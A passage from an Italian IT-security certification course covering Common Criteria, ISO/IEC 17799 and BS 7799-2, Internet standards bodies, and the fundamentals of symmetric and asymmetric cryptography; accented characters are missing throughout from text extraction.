combinare e allineare i criteri di valutazione esistenti ed
emergenti: TCSEC, ITSEC, il canadese CTCPEC (Canadian
Trusted Computer Product Evaluation Criteria) e i criteri fe-
derali USA. Il progetto fu sviluppato attraverso la collabo-
razione degli enti nazionali di standardizzazione di Stati
Uniti, Canada, Francia, Germania, Regno Unito e Olanda. I
benefici di questo sforzo comune comprendono la ridu-
zione della complessit del sistema di valutazione, la di-
sponibilit di un unico linguaggio per le definizioni e per i
livelli di sicurezza e, a beneficio dei produttori, luso di un
unico insieme di requisiti per vendere i prodotti sul mer-
cato internazionale.
La versione 1.0 dei Common Criteria stata completata
nel gennaio 1996. Sulla base di approfondite prove, valuta-
zioni e reazioni del pubblico, la versione 1.0 sub unestesa
revisione e diede vita alla versione 2.0 dellaprile 1998, che
divenne lo standard ISO 15408 nel 1999. Il progetto ha in se-
guito incorporato modifiche di lieve entit che hanno pro-
dotto la versione 2.1 dellagosto 1999. Oggi la comunit in-
ternazionale ha adottato i CC attraverso il Common Criteria
Recognition Arrangement, un accordo in base al quale i fir-
matari concordano nellaccettare i risultati delle valutazio-
ni CC eseguite da altri membri della CCRA.
La flessibilit dellapproccio dei Common Criteria sta
nel fatto che un prodotto valutato a fronte di un certo
profilo di protezione, strutturato in modo da soddisfare
specifici requisiti di protezione. Rispetto allITSEC, di cui
conserva molti aspetti, come la separazione tra funziona-
lit e garanzia, i Common Criteria forniscono cataloghi di
funzionalit e requisiti di garanzia che rendono pi formale
e ripetibile la compilazione del Security Target. Alla valu-
tazione di un prodotto viene assegnato un Evaluation As-
surance Level (EAL) che va da 1 a 7 (massima garanzia). La
completezza e il rigore dei test crescono con il livello di ga-
ranzia assegnato. I sette livelli hanno questi significati:
EAL1 testato funzionalmente
EAL2 testato strutturalmente
EAL3 testato e verificato metodicamente
EAL4 progettato, testato e riveduto metodicamente
EAL5 progettato e testato in modo semi-formale
EAL6 verifica del progetto e testing semi-formali
EAL7 verifica del progetto e testing formali
Il sistema Common Criteria utilizza i protection profile
per la valutazione dei prodotti. Il protection profile con-
tiene linsieme di requisiti di sicurezza, il loro significato e
le ragioni per cui sono necessari, oltre che il livello EAL
che il prodotto deve soddisfare. Il profilo descrive le con-
dizioni ambientali, gli obiettivi e il livello previsto per la va-
lutazione della funzionalit e della garanzia. Viene elenca-
ta ogni vulnerabilit e come devessere controllata da spe-
cifici obiettivi di sicurezza. Inoltre il documento fornisce le
motivazioni per il livello di garanzia e la robustezza dei
meccanismi di protezione.
Nella struttura del sistema Common Criteria, il protec-
tion profile descrive la necessit di una specifica soluzio-
ne di sicurezza, che linput per il prodotto da valutare
(TOE). Il TOE il prodotto proposto per fornire la solu-
zione alle esigenze di sicurezza. Il security target scritto
dal produttore e spiega le funzionalit di sicurezza e i mec-
canismi di garanzia che soddisfano i requisiti di sicurezza.
I Security Functionality Requirements e i Security Assu-
rance Requirements formano dei componenti (package)
riutilizzabili che descrivono gli insiemi dei requisiti di fun-
zionalit e di garanzia da soddisfare per ottenere lo speci-
fico EAL a cui il produttore aspira. Questi documenti di re-
quisiti sono indipendenti dalle tecnologie con cui vengono
realizzati i prodotti.
Lutilizzo di prodotti certificati, oltre a rispondere a re-
quisiti formali di approvvigionamento, offre numerosi be-
nefici, tra cui la disponibilit di un documento di specifi-
www.pcopen.it 17
che di sicurezza formalizzate (il security target) conte-
nente la descrizione delle minacce che il prodotto in gra-
do di contrastare e lesistenza di test e verifiche effettua-
te, secondo metodologie documentate, da un ente indi-
pendente. Le pubblicazioni relative ai Common Criteria so-
no inoltre di ausilio per tenere conto dei requisiti di fun-
zionalit e di garanzia nella progettazione di sistemi infor-
matici con requisiti di sicurezza, anche se non sintende
sottoporli al processo di certificazione.
Riferimenti:
csrc.nist.gov/cc, www.rycombe.com/cc.htm,
www.clusit.it/whitepapers/iso15408-1.pdf,
www.clusit.it/whitepapers/iso15408-2.pdf e
www.clusit.it/whitepapers/iso15408-3.pdf
Le norme sul sistema
di gestione della sicurezza
Gli sviluppi normativi nel campo dei sistemi di gestione
della sicurezza delle informazioni sono avvenuti in tempi
pi recenti rispetto allevoluzione dei criteri di valutazione
della garanzia (come TCSEC, ITSEC e Common Criteria) e
dei sistemi di gestione della qualit (come ISO 9000).
ISO/IEC ha pubblicato, tra il 1996 e il 2001, una serie di
cinque documenti (ISO/IEC TR 13335), la cui sigla TR (te-
chnical report) indica che si tratta di linee guida del tipo be-
st practice (modalit operative consigliate), non di specifi-
che formali. Questi documenti sono una possibile alterna-
tiva alla coppia ISO/IEC 17799 - BS 7799 di fonte britannica.
Le cinque parti della serie TR 13335 sono le seguenti:
- Parte 1: Concepts and models for IT security. Il primo do-
cumento fornisce una panoramica dei concetti re-
lativi alla sicurezza delle informazioni e dei mo-
delli che unorganizzazione pu utilizzare per de-
finire la propria sicurezza IT.
- Parte 2: Managing and planning IT security. Questo do-
cumento si occupa degli aspetti di pianificazione
e di gestione della sicurezza delle informazioni.
- Parte 3: Techniques for the management of IT security.
Questo documento si occupa delle attivit di ma-
nagement che sono direttamente legate al ciclo di
vita dei progetti: pianificazione, progettazione,
implementazione, testing eccetera.
- Parte 4: Selection of safeguards. In parte complementare
alla parte 3, descrive la selezione delle contromi-
sure e limportanza e la modalit dimpiego dei
modelli di sicurezza di base e delle verifiche.
- Parte 5: Management guidance on network security.
Questo documento fornisce linee guida sulle co-
municazioni e sulle reti, in particolare lanalisi dei
fattori che devono essere presi in considerazione
per definire requisiti di sicurezza e contromisure
appropriati. Inoltre fornisce un approccio alla de-
finizione dei livelli di fiducia basato sulla valuta-
zione del rischio.
Le linee guida BS 7799, oggi ISO/IEC 17799 e BS 7799-2,
hanno una storia che risale agli inizi degli anni 90, quan-
do il Dipartment of Trade and Industry britannico istitu
un gruppo di lavoro con lintento di fornire alle aziende li-
nee guida per la gestione della sicurezza delle informa-
zioni. Nel 1993 questo gruppo pubblic il Code of practice
for information security management, un insieme di buone
regole di comportamento per la sicurezza delle informa-
zioni. Questo costitu la base per lo standard BS 7799 pub-
blicato da BSI (British Standards Institution) nel 1995 e no-
to come Code of Practice. Nel 1998 BSI aggiunse la secon-
da parte, Specification for Information Security Manage-
ment, che fu sottoposta a revisione e ripubblicata nel
1999. Il Code of Practice fu sottoposto a ISO/IEC per esse-
re approvato come standard internazionale, una volta nel
1995 senza successo e in seguito di nuovo nel 1999 con
esito positivo. Il BS 7799 Parte 1 stato quindi recepito
come ISO/IEC 17799. La sua edizione del 2000 in corso di
aggiornamento nel 2005. La seconda parte, BS 7799-2,
stata aggiornata nel 2002.
LISO/IEC 17799 presenta una serie di linee guida e di
raccomandazioni compilata a seguito di consultazioni con
le grandi aziende. I 36 obiettivi e le 127 verifiche di sicu-
rezza contenuti nel documento sono suddivisi in 10 aree,
o domini, riportati nel riquadro A, II dieci domini formano
una piramide che scende dalla prospettiva organizzativa
(1, 2, 3, 4, 9, 10) verso quella operativa (6, 7, 8), con inclusi
gli aspetti tecnici (5).
Le verifiche di sicurezza ulteriormente dettagliate nel
documento, portano a oltre 500 il numero di controlli ed
elementi di best practice dellISO/IEC 17799. Il documen-
to sottolinea limportanza della gestione del rischio e
chiarisce che non indispensabile implementare ogni sin-
gola linea guida, ma solo quelle che sono rilevanti. Lo
standard copre tutte le forme dinformazione, incluse la
voce, la grafica e i media come fax e cellulari. Esso rico-
nosce anche i nuovi metodi di business, come le-com-
Riquadro A - Le dieci aree delle linee guida dello standard ISO/IEC 17799
1. Security Policy. Fornire le linee guida e i consigli per la gestione, allo scopo di migliorare la sicurezza delle
informazioni
2. Organizational Security. Facilitare la gestione della sicurezza delle informazioni allinterno
dellorganizzazione.
3. Asset Classification and Control. Eseguire un inventario dei beni e proteggerli efficacemente.
4. Personnel Security. Minimizzare i rischi di errore umano, furto, frode o uso illecito delle attrezzature.
5. Physical and Environment Security. Prevenire la violazione, il deterioramento o la distruzione delle attrezzature
industriali e dei dati.
6. Communications and Operations Management. Assicurare il funzionamento adeguato e affidabile dei
dispositivi di elaborazione delle informazioni.
7. Access Control. Controllare laccesso alle informazioni.
8. Systems Development and Maintenance. Assicurare che la sicurezza sia incorporata nei sistemi informativi.
9. Business Continuity Management. Minimizzare limpatto delle interruzioni dellattivit aziendale e proteggere
da avarie e gravi disastri i processi aziendali essenziali.
10. Compliance. Evitare ogni violazione delle leggi civili e penali, dei requisiti statutari e contrattuali e dei requisiti
di sicurezza.
www.pcopen.it 18
merce, Internet, loutsourcing, il telelevoro e il mobile
computing.
Mentre lISO/IEC 17799 fornisce le linee guida, gli aspet-
ti di sicurezza e le buone norme da applicare, in s suffi-
cienti per unazienda medio-piccola, lo standard BS 7799-
2 fornisce le direttive per istituire un sistema di gestione
della sicurezza delle informazioni (SGSI in italiano o ISMS,
Information Security Management System, nella lettera-
tura) da sottoporre alla certificazione di un ente accredi-
tato. Lapplicazione del BS 7799-2 permette allazienda di
dimostrare ai suoi partner che il proprio sistema di sicu-
rezza conforme allo standard e risponde alle esigenze di
sicurezza determinate dai propri requisiti.
Unorganizzazione che ottiene la certificazione con-
siderata conforme ISO/IEC 17799 e certificata BS 7799-2.
Laggiornamento del 2002 del BS 7799-2 ha introdotto
varie modifiche suggerite dallesigenza di dare continuit
al processo di gestione della sicurezza. Il modello di ISMS
definito dallo standard comprende quattro fasi in un
loop ciclico, analogo a quello dellISO 9001.
Il modello detto PDCA dalle iniziali delle quattro fasi:
Plan (pianifica: la definizione dellISMS), Do (esegui: lim-
plementazione e utilizzo dellISMS), Check (verifica: i
controlli e le revisioni dellISMS) e Act (agisci: la manu-
tenzione e miglioramento dellISMS).
Le quattro fasi dellInformation Security
Management System
Plan:
1. la definizione dellambito di applicazione dellISMS
2. la definizione di una politica di sicurezza di alto livello
3. la definizione di un approccio sistematico per lanalisi
del rischio
4. lidentificazione dei rischi
5. la valutazione dei rischi
6. lidentificazione delle opzioni per il trattamento dei rischi
(eliminazione, cessione e riduzione)
7. la selezione delle contromisure per il controllo dei rischi
8. la redazione della dichiarazione di applicabilit, com-
prendente lesplicitazione delle ragioni che hanno por-
tato alla selezione delle contromisure e alla non applica-
zione di misure indicate nellappendice A della norma.
Do:
1. la formulazione di un piano di trattamento dei rischi
2. limplementazione del piano
3. limplementazione delle contromisure selezionate
4. lo svolgimento di programmi dinformazione e di forma-
zione
5. la gestione delle operazioni connesse alla fase Do
6. la gestione delle risorse connesse alla fase Do
7. limplementazione di procedure e altre misure che assi-
curino la rilevazione e le opportune azioni in caso di in-
cidenti relativi alla sicurezza
Check:
1. lesecuzione delle procedure di monitoraggio dellISMS
2. lesecuzione di revisioni del rischio residuo
3. la conduzione di audit interni allISMS
4. la conduzione di review al massimo livello dirigenziale
dellISMS
5. la registrazione delle azioni e degli eventi che potrebbe-
ro avere impatti sulla sicurezza o sulle prestazioni dellI-
SMS
Act:
1. limplementazione delle azioni migliorative dellISMS
identificate
2. limplementazione delle azioni correttive e preventive
3. la comunicazione dei risultati
4. la verifica che i miglioramenti raggiungano gli obiettivi
identificati alla loro base.
Lappendice A della norma BS 7799-2 del 2002 include una
serie di misure per il controllo del rischio suddivise in 10
capitoli, gli stessi delle 10 aree sopra elencate per lISO/IEC
17799.
Naturalmente, la conformit allISO/IEC 17799 o la cer-
tificazione BS 7799-2 non implicano che unorganizzazio-
ne sia sicura al 100%, un obiettivo peraltro irraggiungibi-
le. Tuttavia, ladozione di questo standard, apprezzato a
livello internazionale, offre diversi vantaggi a livello orga-
nizzativo (efficacia dello sforzo di sicurezza a tutti i livel-
li, diligenza degli amministratori), a livello legale (osser-
vanza di leggi e regolamenti), a livello operativo (gestione
del rischio, qualit di hardware e dati), a livello commer-
ciale (distinzione dalla concorrenza, partecipazione a ga-
re), a livello finanziario (costo delle violazioni, costi assi-
curativi) e a livello umano (consapevolezza e responsa-
bilit del personale). La popolarit della coppia ISO/IEC
17799 e BS 7799-2 dovuta in parte alla sua flessibilit e al-
la sua complementarit con altri standard di sicurezza IT.
Mentre lISO/IEC 17799 delinea le migliori pratiche per la
gestione della sicurezza delle informazioni, lISO 13335
(Guideline for the Management of IT Security, GMITS) pu
essere visto come il suo fratello maggiore, con laggiunta
di aspetti tecnologici e unestensione della gestione del ri-
schio. C forte complementarit anche tra lISO/IEC
17799 e lISO 15408, ossia i Common Criteria. Mentre il pri-
mo si focalizza pi sugli aspetti organizzativi e ammini-
strativi, il secondo copre gli aspetti tecnici della sicurez-
za. Ulteriori relazioni si possono individuare tra questi
standard e gli standard ISO 18044 (Incident Management),
ISO 17944 (Financial Systems), ISO 18028 (Communica-
tions Management) e ISO 14516 (E-commerce Security). Il
BS 7799-2 del 2002 anche armonizzato con lISO
9001:2000 (Vision 2000) e lISO 14001:1996.
DO
(ESEGUI)
PLAN
(PIANIFICA)
CHECK
(VERIFICA)
ACT
(AGISCI)
Definire la portata
dellISMS
Definire una politica
ISMS
Definire un approccio
allanalisi del rischio
Identificare i rischi
Analizzare i rischi
Identificare e valutare
le opzioni per la
gestione del rischio
Scegliere i controlli
e loro obiettivi
Preparare uno
Statement of
Applicabilit (SOA)
Attuare i miglioramenti
identificati
Intraprendere azioni
correttive/preventive
Applicare le lezioni
apprese (incluse altre
organizzazioni)
Comunicare i risultati
alle parti interessate
Assicurarsi che i
miglioramenti
raggiungano lobiettivo
Eseguire procedure
di monitoraggio
Eseguire revisioni
regolari dellefficacia
dellISMS
Livello di revisione
sul rischio residuo
e accettabile
Eseguire audit interne
dellISMS
Registrare eventi
e avvenimenti che
potrebbero impattare
sullISMS
Formulare un piano di
Attuare il piano di
Attuare i controlli
Attuare programmi
di addestramento
e consapevolezza
Gestire le attivit
Gestire le risorse
Attuare procedure per
individuare/rispondere
agli incidenti di
sicurezza
1
2
3
4
Le quattro fasi
dellInformation Security
Management System
www.pcopen.it 19
Il processo di standardizzazione
di Internet
Quello che segue un elenco di alcune delle organiz-
zazioni pi importanti che operano nellinteresse dellin-
tera comunit di Internet e dei suoi standard.
Internet Society ISOC (www.isoc.org)
Unorganizzazione privata senza fini di lucro che riuni-
sce professionisti nel mondo del networking e che ha la
missione di garantire il continuo funzionamento di Inter-
net e il suo potenziamento. Opera attraverso una serie di
comitati tecnici che definiscono gli standard e i protocol-
li utilizzati da qualsiasi apparecchiatura che si collega a
Internet (IETF, IESG, IAB, IRTF). LISOC fornisce la leader-
ship nella gestione di Internet per quanto riguarda gli
standard, listruzione e lo sviluppo della politica ammini-
strativa.
IETF (Internet Engineering Task Force, www.ietf.org)
la comunit internazionale dei progettisti, operatori,
produttori, e ricercatori nel campo del networking, inte-
ressati allevoluzione dellarchitettura di Internet e della
sua continuit e affidabilit di funzionamento. Sviluppa
standard tecnici su base consensuale, per esempio in re-
lazione ai protocolli di comunicazione.
IESG
(Internet Engineering task Group, www.ietf.org/iesg.html)
Lo IESG responsabile della gestione tecnica delle at-
tivit dellIETF e del processo di standardizzazione di In-
ternet. Come parte dellISOC, amministra tale processo
secondo le regole e le procedure che sono state ratificate
dai fiduciari dellISOC. Lo IESG direttamente responsa-
bile delle azioni associate allavvio e alla prosecuzione
delliter di standardizzazione, inclusa lapprovazione fi-
nale delle specifiche come Standard Internet. Lo IESG
coordina e approva gli standard tecnici.
IAB (Internet Architecture Board, www.iab.org)
Lo IAB un gruppo tecnico consultivo della Internet
Society, responsabile della selezione dello IESG, della su-
pervisione dellarchitettura, della supervisione del pro-
cesso di standardizzazione e della procedura di appello,
della serie delle RFC (Request For Comment), dei colle-
gamenti esterni e di consiglio allISOC.
IRTF (Internet Research Task Force, www.irtf.org)
La missione dellIRTF consiste nel promuovere attivit
di ricerca che possano contribuire in modo significativo al
futuro sviluppo di Internet. Opera creando gruppi di ri-
cerca focalizzati sui seguenti temi: protocolli, applicazio-
ni, architettura e tecnologia.
ICANN(Internet Corporation for Assigned Names and Num-
bers, www.icann.org)
lazienda non-profit che fu creata per assumere la re-
sponsabilit dellattribuzione degli spazi dindirizzamen-
to IP, dellassegnazione dei parametri dei protocolli, della
gestione del sistema dei domini e della gestione del siste-
ma dei server root, funzioni che in precedenza erano ese-
guite, sotto contratto con il governo USA, dalla IANA e da
altre entit. lautorit per lassegnazione dei nomi di do-
minio a livello globale.
IANA
(Internet Assigned Numbers Authority, www.iana.org)
La IANA mantiene le funzioni di coordinamento cen-
trale dellInternet globale nel pubblico interesse. La IANA
custodisce i numerosi parametri e valori di protocollo uni-
ci necessari per il funzionamento di Internet e per il suo
sviluppo futuro.
Il processo di definizione degli Standard Internet
unattivit della Internet Society, che organizzata e ge-
stita per conto della comunit Internet dallo IAB e dallo IE-
SG. Comprende una serie di passi e di attivit che produ-
cono come risultato gli standard dei protocolli e delle pro-
cedure.
Uno Standard Internet una specifica stabile e ben
compresa, scritto con competenza tecnica, conta di-
verse implementazioni indipendenti e interoperabili con
sostanziale esperienza operativa, gode di un supporto
pubblico significativo e la sua utilit riconosciuta in tut-
ta Internet o in parti di essa - RFC 2026, 1996.
Per essere adottata come standard, una specifica sot-
toposta a un periodo di sviluppo e a numerose iterazioni
di revisione da parte della comunit di Internet e a un esa-
me basato sullesperienza.
Per prima cosa, una specifica diventa un documento
RFC. Non tutte le RFC diventano Standard Internet. Poi, se
la RFC diventa uno standard, viene adottata dallente ap-
propriato ed resa disponibile al pubblico quale stan-
dard. Il processo di standardizzazione attraversa i se-
guenti stadi di sviluppo, collaudo e accettazione.
Proposta di standard
(almeno sei mesi)
- generalmente stabile
- scelte di progettazione risolte
- sembra godere di sufficiente interesse della comunit
per essere considerato valido
Bozza di standard
(almeno quattro mesi dallapprovazione della riunione
IETF
- ben capito
- ottenuta una sufficiente esperienza operativa
Standard
(fino a una successiva revisione o sostituzione)
- ottenuta unimplementazione significativa e unespe-
rienza operativa positiva
- alto grado di maturit tecnica
- fornisce benefici di rilievo alla comunit Internet
Protection profile
Target of
evaluation
Security Target
Richiesta di una
specifica soluzione
Il prodotto
Descrizione delle componenti
di funzionalit e garanzia offerta
dal produttore
Requisiti
di funzionalit
Requisiti
di garanzia
Famiglie differenti
di classi di requisiti
Verifica e valutazione del
prodotto rispetto alle specifiche
dichiarate
Valutazione
Assegnazione di
un livello
di garanzia
Relazione fra componenti differenti
Le fasi del ciclo di
certificazione
5.1.4 Standard
ed enti di
standardizzazione
5.1.4.4 conoscere
il processo di
standardizzazione
di Internet.
www.pcopen.it 20
ITAdministrator - Sicurezza informatica
L
e reti di computer, soprattutto attraverso Internet, han-
no reso possibile la rapida e facile comunicazione tra
utenti oltre che tra aziende e compratori. Con 285 mi-
lioni di siti attivi (ottobre 2004) e oltre 800 milioni di uten-
ti (febbraio 2005), gli scambi commerciali e le transazioni
economiche che avvengono su Internet hanno raggiunto
un volume ingente e sono in forte crescita, favoriti dalla
progressiva fiducia nella sicurezza delle operazioni.
Lassenza del contatto personale e dello scambio di do-
cumenti cartacei intestati e firmati, richiede strumenti so-
stitutivi per identificare gli interlocutori, per mantenere la
riservatezza e lintegrit delle informazioni scambiate e per
conferire validit legale alla transazione, in modo che non
possa essere disconosciuta (oppure, come si suol dire, ri-
pudiata) dalla parte che contrae limpegno (o in generale
da tutte le parti in gioco).
In pratica, gli strumenti e le procedure della sicurezza
informatica hanno il compito di fornire agli utenti (individui
e organizzazioni) lo stesso livello di fiducia che provano
quando eseguono lo stesso tipo di operazioni con i metodi
tradizionali e le firme autografe. Nella lezione precedente
abbiamo trattato dellanalisi del rischio, una fase essenzia-
le del programma di sicurezza, dove si considerano le pro-
babilit di attuazione delle minacce e la gravit del loro im-
patto per selezionare le contromisure da mettere in campo.
Si tratta di un approccio fondamentalmente difensivo o
passivo, che valuta quali rischi accettare, quali delegare a
terzi e quali controllare, riducendoli o azzerandoli.
Nella presente lezione ci occupiamo invece di sicurezza
attiva, ossia delle misure di sicurezza che proteggono le
informazioni in modo proattivo, in modo cio da anticipa-
re e neutralizzare i problemi futuri. Questo viene ottenuto
non solo impedendo agli estranei di accedere alle informa-
zioni (sicurezza passiva o difensiva), ma rendendo le infor-
mazioni intrinsecamente sicure a livello applicativo, pro-
teggendone la riservatezza (confidentiality, chiamata an-
che confidenzialit), lintegrit e lautenticit. Vedremo
che le tecniche crittografiche permettono 1) di trasforma-
re dati, informazioni e messaggi in modo da nasconderne il
contenuto a chiunque non sia autorizzato e attrezzato per
prenderne visione, 2) di impedire a estranei di alterare i da-
ti, segnalando qualunque tentativo in tal senso e 3) di ga-
rantire lautenticit dei dati, associandoli in modo certo al
loro proprietario, impedendo allo stesso tempo che il mit-
tente di un messaggio possa ripudiarne la paternit.
Prosegue il primo corso di taglio professionale destinato al
conseguimento della certificazione ufficiale, EUCIP IT
Administrator Sicurezza Informatica, valida in tutta Europa.
La seconda lezione esplora tutti i principali algoritmi e standard
di crittografia utilizzati per garantire riservatezza, lintegrit e
lautenticit dei documenti. Anche in questo caso i contenuti si
articolano in tre elementi:
un articolo sulla rivista,
un articolo, molto pi esteso
in formato PDF e un corso
multimediale completo su CD
e DVD di Giorgio Gobbi
Materiale didattico
validato da AICA
IT Administrator
Modulo 5 -
IT Security
"AICA Licenziataria
programma EUCIP
of Informatic
validato copre
puntualmente e
integralmente gli
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
del marchio EUCIP,
vigenti"
nelle condizioni di conoscere e utilizzare le utility e i
programmi pi comuni destinati a tali scopi.
2.0 (curriculum
ufficiale AICA)
5.2.1. Concetti
generali
5.2.1.1 Basi della
crittografia
Lezione 2: parte 1Crittografia -
fondamenti e algoritmi
applicazioni
Lezione 3: Autenticazione
e controllo degli accessi
In collaborazione
con:
Concetti e algoritmi di crittografia
Scopriamo
i fondamenti e le
tecniche di crittografia
www.pcopen.it 21
Per meglio apprezzare i vantaggi della sicurezza attiva,
proviamo a immaginare cosa accadrebbe a un messaggio
confidenziale che venisse inviato su Internet. Sul computer
di partenza, il messaggio, contenuto nellarchivio della po-
sta elettronica, sarebbe leggibile da chiunque si procuras-
se laccesso al computer, unoperazione relativamente fa-
cile dallinterno dellorganizzazione e non impossibile dal-
lesterno se mancano le opportune difese. Nel momento in
cui il messaggio viene spedito, attraversa la rete locale in-
terna (dove pu essere intercettato tramite analizzatori di
rete, packet sniffer e altri strumenti per intercettare i pac-
chetti), esce dalledificio, raggiunge la centrale del gestore
di telecomunicazioni, viene instradato verso il sito che
ospita il server di e-mail e qui staziona in una casella po-
stale in attesa di essere prelevato. Una volta prelevato, se-
condo i casi, viene cancellato o meno dal server e viene
comunque trasferito sul computer del destinatario, nel-
larchivio personale di posta elettronica. Durante il per-
corso, il messaggio intercettabile dagli organismi di sicu-
rezza nazionali (di solito su mandato della magistratura) e,
se fosse per qualche verso appetibile, anche da agenzie di
sicurezza che non chiedono permessi. Inoltre, se il mes-
saggio contenesse informazioni preziose per nemici, con-
correnti e specialisti di furto e ricatto, lungo il suo percor-
so, dal computer di origine a quello di destinazione, po-
trebbe trovare in agguato hacker, dispositivi di rilevamen-
to o individui che, mediante tecniche di social engineering,
si procurano i file da chi ha o pu procurare (anche incon-
sapevolmente) il diritto di accesso. Il social engineering, nel
campo della sicurezza informatica, la pratica di manipo-
lare ad arte le persone per indurle a compiere azioni (come
lesecuzione di software maligno) oppure a rivelare infor-
mazioni (come le password) utili a ottenere accesso a dati
e risorse. Si comprende la complementarit della difesa
passiva e di quella attiva con un esempio. Supponiamo che
su un computer siano installati sistemi crittografici che
proteggono i documenti dal momento in cui sono archiviati
localmente in poi (trasmissione, prelievo dal mail server e
archiviazione sul computer di destinazione). Supponiamo
al tempo stesso che, per carenza di sicurezza difensiva, un
malintenzionato convinca lutente a eseguire unapplica-
zione particolarmente interessante o divertente, che in
realt installa un key logger, cio un registratore dellinput
di tastiera, salvato in un file che potr essere prelevato se-
gretamente attraverso Internet, anche tramite e-mail. In
questo scenario, i documenti sono crittografati e ben pro-
tetti come tali, ma il loro contenuto stato intercettato a
monte e viene trasmesso allesterno.
La crittografia
La parola crittografia deriva dal greco krypts (nasco-
sto) e graphein (scrivere). Lutilizzo della scrittura nasco-
sta, come accennato nella prima lezione, risponde da mil-
lenni allesigenza di mantenere riservate o segrete certe ca-
tegorie di comunicazioni, a partire da quelle militari. La
crittografia non studia come nascondere un messaggio (di
cui si occupano altre tecniche, come la steganografia che
deriva dal greco stganos rendo occulto, nascondo), ben-
s come nascondere il significato o contenuto di un mes-
saggio (o di un documento) in modo che risulti compren-
sibile solo al destinatario stabilito dal mittente.
Il mittente di un messaggio prende il testo originale, det-
to testo in chiaro, lo sottopone a unoperazione di cifratura
e ottiene il testo cifrato. Il destinatario esegue unoperazio-
ne di decifratura per ricostruire il messaggio originale. Per
semplicit, e per assonanza con i termini in lingua inglese
(plaintext e ciphertext), parliamo spesso di testo, inten-
dendo che documenti e messaggi possono contenere anche
immagini, sequenze audio/video, dati binari eccetera.
Il metodo utilizzato per cifrare il messaggio detto al-
goritmo di crittografia o cifrario.
Un esempio di algoritmo la sostituzione di ogni lettera
con la lettera che si trova tre posizioni pi avanti nellalfa-
beto ed noto come cifrario di Cesare. Nella moderna crit-
tografia un cifrario prevede luso di una chiave di cifratura,
una sequenza di caratteri di lunghezza massima stabilita
che governa il funzionamento dellalgoritmo. Lalgoritmo
esegue una serie di trasformazioni dal testo in chiaro al te-
sto cifrato: la chiave determina lentit delle sostituzioni,
trasposizioni e altre operazioni che formano lalgoritmo,
cos che, al variare della chiave, cambia il testo cifrato.
Idealmente, per un dato testo in chiaro e per un dato algo-
ritmo di cifratura, chiavi diverse generano sempre testi ci-
frati diversi.
Lalgoritmo definisce anche le regole con cui il testo ci-
frato viene ritrasformato nel testo in chiaro originale at-
traverso luso di una chiave di decifratura.
I moderni standard di crittografia si ispirano al Principio
di Kerchoff. Nel 1883, Auguste Kerchoff pubblic un arti-
colo in cui sosteneva che lunico aspetto segreto di un si-
stema crittografico dovrebbe essere la chiave. Kerchoff af-
fermava che lalgoritmo dovrebbe essere di pubblico do-
minio e che un sistema di sicurezza basato su troppi segreti
finisce con lessere pi vulnerabile. Questo punto di vista
condiviso dal settore privato, ma non necessariamente
dalle agenzie militari e governative, che amano creare i pro-
pri algoritmi mantenendoli segreti. Viceversa, solo ren-
dendo gli algoritmi ben noti che se ne possono scoprire le
eventuali debolezze e vulnerabilit e si possono confron-
tare le caratteristiche delle diverse soluzioni disponibili, in-
ventando una nuova generazione di cifrari quando comin-
ciano ad apparire le prime crepe in quelli consolidati.
Secondo il grado di sicurezza che si desidera ottenere,
esistono diversi algoritmi e diverse gestioni delle chiavi. La
lunghezza delle chiavi determina il numero di valori possi-
bili (che raddoppia a ogni bit aggiunto) e lo sforzo neces-
sario per ricostruire il messaggio in chiaro in assenza del-
la chiave. La lunghezza della chiave non un termine di pa-
ragone assoluto: secondo il tipo di algoritmo, varia la lun-
IT Administrator comprende sei moduli:
1 Hardware del PC (PC Hardware)
2 Sistemi operativi (Operating Systems)
3 Reti locali e servizi di rete (LAN and Network
Services)
4 Uso esperto delle reti (Network Expert Use)
5 Sicurezza informatica (IT Security)
6 Progettazione reti (Network Design)
Largomento di questo corso il modulo 5 della
certificazione EUCIP IT Administrator, dedicato
espressamente alla sicurezza informatica. Il modulo
5 garantisce comunque il diritto a una certificazione
a s stante.
Sul CD Guida 3 e sul DVD trovate un articolo
che spiega il modo per ottenere la certificazione.
Lelemento centrale della
crittografia il cifrario o
algoritmo di cifratura che
permette la
trasformazione del
contenuto di un
messaggio in modo che
non sia leggibile da
estranei
Il documento cifrato pu
essere ricostruito solo da
chi possiede il cifrario
adatto.
Nella cifratura
simmetrica la chiave
unica e viene condivisa da
mittente e destinatario,
perci va mantenuta
segreta. Per tale motivo
prende il nome di cifratura
a chiave segreta
ghezza di chiave considerata sicura nel contesto tecnolo-
gico corrente.
Quando la chiave di cifratura la stessa usata per la de-
cifratura, o possono essere derivate facilmente una dallal-
tra, si parla di crittografia simmetrica. In questo caso, sia il
mittente sia il destinatario concordano sullalgoritmo da
utilizzare e sulla chiave segreta. Questultima dovr essere
comunicata in modo sicuro (possibilmente di persona), do-
vr essere mantenuta segreta (possibilmente affidata solo
alla memoria) e dovr essere cambiata spesso per evitarne
la scoperta, vuoi per mancanza di riservatezza nel suo uso
vuoi per via matematico-statistica analizzando un vasto
campione di messaggi.
Se la chiave di cifratura diversa da quella di decifratu-
ra, si parla di crittografia asimmetrica. In tal caso le due
chiavi sono generate contestualmente; una di esse prende
il nome di chiave privata ed tenuta segreta (e custodita al
sicuro) dal proprietario, mentre laltra, detta chiave pub-
blica, pu essere messa a disposizione di chiunque. Le ca-
ratteristiche principali di questa coppia di chiavi sono le
seguenti:
1) per ogni chiave pubblica esiste una sola chiave pri-
vata e viceversa, 2) se si utilizzano chiavi abbastanza gran-
di, non praticamente possibile ricavare la chiave privata
dalla chiave pubblica, 3) per cifrare un documento si pu
usare sia la chiave privata sia la chiave pubblica; per la de-
cifratura si deve usare laltra chiave della coppia.
Se per esempio si cifra un messaggio con la chiave pub-
blica del destinatario, solo questultimo sar in grado di
decifrarlo, utilizzando la corrispondente chiave privata. Se
invece si cifra un messaggio con la propria chiave privata
e si rende disponibile la chiave pubblica, chiunque potr
decifrarlo (a patto di conoscere lalgoritmo utilizzato e di
procurarsi la chiave pubblica). Mentre un messaggio ci-
frato con una chiave pubblica non garantisce lidentit del
mittente e lintegrit del messaggio (chiunque pu usare
una chiave pubblica), un messaggio cifrato con una chia-
ve privata, nel momento in cui viene decifrato con la chia-
ve pubblica, assicura che proviene dal proprietario delle
chiavi e che non stato modificato lungo il percorso. Su
questo principio si basa la firma digitale, di cui parleremo
pi avanti.
Obiettivi della sicurezza attiva
Abbiamo introdotto il concetto di sicurezza attiva, com-
plementare alle misure difensive della sicurezza passiva,
per rendere i dati intrinsecamente sicuri. I servizi di sicu-
